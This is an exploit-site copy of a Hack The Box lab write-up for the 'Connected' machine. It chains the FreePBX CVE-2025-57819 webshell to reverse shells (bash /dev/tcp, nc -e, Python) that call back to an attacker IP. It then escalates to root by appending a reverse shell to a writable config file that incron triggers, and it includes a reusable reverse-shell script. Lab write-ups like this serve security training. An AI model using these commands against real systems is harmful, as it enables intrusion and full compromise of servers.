Sploitus

Exploit for Authentication Bypass Using an Alternate Path or Channel in Sangoma Freepbx

CVE-2025-57819

githubexploit · 2026-08-27

Exploit Code

README375 lines
## https://sploitus.com/exploit?id=69698336-9DE3-506C-8E4A-EE324A521096
# HTB: Connected - Staff Pick

[English](README.md) | [Español](README-ES.md)

[![HTB](https://img.shields.io/badge/HTB-Connected-brightgreen)](https://www.hackthebox.com/)
[![Difficulty](https://img.shields.io/badge/Difficulty-Easy-9cf)](#)
[![OS](https://img.shields.io/badge/OS-Linux-blue)](#)
[![Platform](https://img.shields.io/badge/Platform-Hack%20The%20Box-red)](https://www.hackthebox.com/)
---

## 📋 Table of Contents

1. [Enumeration](#1-enumeration)
2. [Exploitation - CVE-2025-57819](#2-exploitation---cve-2025-57819)
3. [Reverse Shell](#3-reverse-shell)
4. [Privilege Escalation](#4-privilege-escalation)
5. [Flags](#5-flags)
6. [Repository Structure](#6-repository-structure)
7. [Scripts and Tools Used](#7-scripts-and-tools-used)
8. [Attack Summary](#8-attack-summary)
9. [Resources and Credits](#9-resources-and-credits)
10. [Additional Notes](#10-additional-notes)

---

## 1. Enumeration

### 1.1 Port Scanning with Nmap

```bash
nmap -sV 10.129.81.130
```

**Results:**

```text
PORT    STATE SERVICE   VERSION
22/tcp  open  ssh       OpenSSH 7.4 (protocol 2.0)
80/tcp  open  http      Apache httpd 2.4.6 (CentOS) PHP/7.4.16
443/tcp open  ssl/https Apache/2.4.6 (CentOS) PHP/7.4.16
```

### 1.2 Add the Domain to `/etc/hosts`

```bash
echo "10.129.81.130 connected.htb" >> /etc/hosts
```

### 1.3 Directory Fuzzing with Gobuster

```bash
gobuster dir -u http://connected.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html
```

**Key findings:**

* `/admin` - FreePBX administration panel
* `/ucp` - User Control Panel
* `/robots.txt` - Robots file

---

## 2. Exploitation - CVE-2025-57819

### 2.1 Download the Exploit

Clone the WatchTowr Labs repository:

```bash
git clone https://github.com/watchtowrlabs/watchTowr-vs-FreePBX-CVE-2025-57819.git
cd watchTowr-vs-FreePBX-CVE-2025-57819
```

### 2.2 Run the Exploit

```bash
python3 watchTowr-vs-FreePBX-CVE-2025-57819.py -H http://connected.htb
```

**Expected output:**

```text
[+] FreePBX CVE-2025-57819 Detection Artifact Generator started
[+] Sending exploit request
[+] Waiting 2 minutes for DAG script to be created
[+] VULNERABLE - webshell found: http://connected.htb/this-is-an-ioc-not-actually-watchTowr-8jxir4tsm6.php?cmd=hostname
```

### 2.3 Verify the Webshell

```bash
curl "http://connected.htb/this-is-an-ioc-not-actually-watchTowr-8jxir4tsm6.php?cmd=whoami"
```

**Result:**

```text
asterisk
```

---

## 3. Reverse Shell

### 3.1 Start a Listener on Kali

```bash
nc -lvnp 4444
```

### 3.2 Inject the Reverse Shell

Encoded version:

```bash
curl "http://connected.htb/this-is-an-ioc-not-actually-watchTowr-8jxir4tsm6.php?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.14.234%2F4444%200%3E%261%27"
```

> **Note:** Replace `10.10.14.234` with your VPN IP.

### 3.3 Alternatives

#### Netcat

```bash
curl "http://connected.htb/this-is-an-ioc-not-actually-watchTowr-8jxir4tsm6.php?cmd=nc%20-e%20/bin/bash%2010.10.14.234%204444"
```

#### Python

```bash
curl "http://connected.htb/this-is-an-ioc-not-actually-watchTowr-8jxir4tsm6.php?cmd=python3%20-c%20%27import%20socket%2Csubprocess%2Cos%3Bs%3Dsocket.socket(socket.AF_INET%2Csocket.SOCK_STREAM)%3Bs.connect((%2210.10.14.234%22%2C4444))%3Bos.dup2(s.fileno()%2C0)%3Bos.dup2(s.fileno()%2C1)%3Bos.dup2(s.fileno()%2C2)%3Bsubprocess.call([%22/bin/bash%22%2C%22-i%22])%27"
```

### 3.4 Obtained Shell

```text
listening on [any] 4444 ...
connect to [10.10.14.234] from (UNKNOWN) [10.129.81.130] 55944
bash: no job control in this shell
[asterisk@connected html]$
```

---

## 4. Privilege Escalation

### 4.1 Find Writable Configuration Files

```bash
find /etc -name "*.conf" -writable 2>/dev/null
```

**Key result:**

```text
/etc/dahdi/init.conf
```

### 4.2 Check `incron.d`

```bash
cat /etc/incron.d/*
```

**Relevant entry:**

```text
/var/spool/asterisk/sysadmin/dahdi_restart IN_CLOSE_WRITE /usr/sbin/sysadmin_dahdi_restart
```

### 4.3 Add the Reverse Shell to `init.conf`

```bash
echo 'bash -c "bash -i >& /dev/tcp/10.10.14.234/4545 0>&1"' >> /etc/dahdi/init.conf
```

### 4.4 Start the Root Shell Listener

```bash
nc -lvnp 4545
```

### 4.5 Trigger the Service Restart

```bash
echo "Restart" >> /var/spool/asterisk/sysadmin/dahdi_restart
```

### 4.6 Root Shell Obtained

```text
connect to [10.10.14.234] from (UNKNOWN) [10.129.81.130] 45996
bash: no job control in this shell
[root@connected /]#
```

### 4.7 Verify Root Access

```bash
whoami
# root

id
# uid=0(root) gid=0(root) groups=0(root)
```

---

## 5. Flags

### 5.1 User Flag

```bash
cat /home/asterisk/user.txt
```

```text
HTB{...user_flag...}
```

### 5.2 Root Flag

```bash
cat /root/root.txt
```

```text
HTB{...root_flag...}
```

> Flags are intentionally omitted from this repository.

---

## 6. Repository Structure

```text
htb-labs-connected/
├── README.md
├── README-ES.md
├── exploits/
│   ├── watchTowr-vs-FreePBX-CVE-2025-57819/
│   ├── CVE-2025-57819-exploit/
│   └── CVE-2025-57819-poc/
├── payloads/
│   └── reverse_shell.sh
├── scans/
│   ├── nmap_scan.txt
│   └── gobuster_results.txt
├── screenshots/
└── flags/
```

---

## 7. Scripts and Tools Used

### 7.1 Reverse Shell Script

**File:** `payloads/reverse_shell.sh`

```bash
#!/bin/bash

# Reverse shell for HTB Connected
# Usage: ./reverse_shell.sh 10.10.14.234 4444

IP=$1
PORT=$2

if [ -z "$IP" ] || [ -z "$PORT" ]; then
    echo "Usage: $0  "
    exit 1
fi

bash -c "bash -i >& /dev/tcp/$IP/$PORT 0>&1"
```

### 7.2 Enumeration Commands

**File:** `scans/nmap_scan.txt`

```bash
# Full port scan
nmap -sV -p- -T4 10.129.81.130

# Service and default script scan
nmap -sC -sV -p22,80,443 10.129.81.130
```

### 7.3 Fuzzing Commands

**File:** `scans/gobuster_results.txt`

```bash
# Directory fuzzing
gobuster dir \
    -u http://connected.htb \
    -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
    -x php,txt,html

# Fuzzing the admin directory
gobuster dir \
    -u http://connected.htb/admin \
    -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
    -x php,txt,html,conf,ini,bak
```

---

## 8. Attack Summary

| Step | Action               | Result                                     |
| ---: | -------------------- | ------------------------------------------ |
|    1 | Nmap                 | Ports 22, 80, and 443 open                 |
|    2 | Gobuster             | `/admin`, `/ucp`, `/robots.txt` discovered |
|    3 | CVE-2025-57819       | Webshell as `asterisk`                     |
|    4 | Reverse Shell        | Interactive shell as `asterisk`            |
|    5 | Privilege Escalation | `incron.d` → `dahdi_restart` → `init.conf` |
|    6 | Root                 | Root shell obtained                        |

---

## 9. Resources and Credits

* **Original Writeup:** [CyberSaif](https://www.cybersaif.ca/writeups/connected/)
* **WatchTowr Labs Exploit:** [GitHub](https://github.com/watchtowrlabs/watchTowr-vs-FreePBX-CVE-2025-57819)
* **CVE-2025-57819:** [SentinelOne](https://www.sentinelone.com/vulnerability-database/cve-2025-57819/)
* **FreePBX Security Advisory:** [GitHub](https://github.com/FreePBX/security-reporting/security/advisories/GHSA-m42g-xg4c-5f3h)

---

## 10. Additional Notes

### 10.1 If the Webshell Is Not Created

* Wait the full two minutes; the exploit requires time to create the artifact.
* Verify connectivity:

```bash
curl -k https://connected.htb
```

### 10.2 If the Listener Does Not Work

Check your VPN interface:

```bash
ip addr show tun0
```

Try another listening port if necessary:

```text
4445
8080
1234
```

### 10.3 Key Files on the Target

* `/etc/dahdi/init.conf` - Writable configuration file used during privilege escalation
* `/etc/incron.d/` - `incron` configuration directory
* `/var/spool/asterisk/sysadmin/dahdi_restart` - Trigger used to execute the restart action
* `/var/www/html/` - Web server document root

---

## 🏁 Conclusion

**Connected has been successfully completed. ✅**

The attack chain demonstrates how an exposed FreePBX instance can lead to initial access through **CVE-2025-57819**, followed by privilege escalation through a writable configuration file and an `incron`-based trigger.